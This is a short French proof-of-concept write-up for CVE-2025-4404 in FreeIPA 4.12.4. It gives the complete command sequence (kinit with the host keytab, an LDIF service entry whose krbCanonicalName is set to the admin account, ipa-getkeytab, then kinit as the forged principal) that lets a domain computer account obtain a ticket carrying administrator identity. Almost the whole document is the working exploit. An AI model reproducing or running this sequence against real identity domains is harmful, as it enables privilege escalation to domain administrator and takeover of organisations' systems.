
POC pour CVE-2025-4404
Preuve de concept pour CVE-2025-4404
Si vous possédez un compte d'ordinateur de domaine (host/pc1.[email protected]), vous pouvez alors ajouter le service par défaut. Et vous pouvez définir krbPrincipalName et krbCanonicalName. Par défaut, la valeur de l'attribut krbCanonicalName est manquante pour le compte administrateur FreeIPA 4.12.4. Vous pouvez demander un ticket Kerberos avec la valeur krbPrincipalName, mais le ticket contiendra la valeur krbCanonicalName.
C'est parti
Tout d'abord, nous allons demander un ticket au nom du compte de l'ordinateur :
$ kinit host/[email protected] -k -t /etc/krb5.keytab
Ajouter au compte de service LDAP :
$ ldapadd -H ldap://dc1.test.local
dn: krbprincipalname=test/[email protected],cn=services,cn=accounts,dc=test,dc=local
ipaKrbPrincipalAlias: test/[email protected]
krbPrincipalName: test/[email protected]
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: [email protected]
managedBy: fqdn=pc1.test.local,cn=computers,cn=accounts,dc=test,dc=local
$ ipa-getkeytab -p test/[email protected] -k ./test.keytab --mech=GSSAPI
$ kdestroy -A
$ kinit --no-request-pac -k -t ./test.keytab test/[email protected]PWN!!!
Vous pouvez vérifier le ticket avec :
ldapwhoami -H ldap://dc1.test.local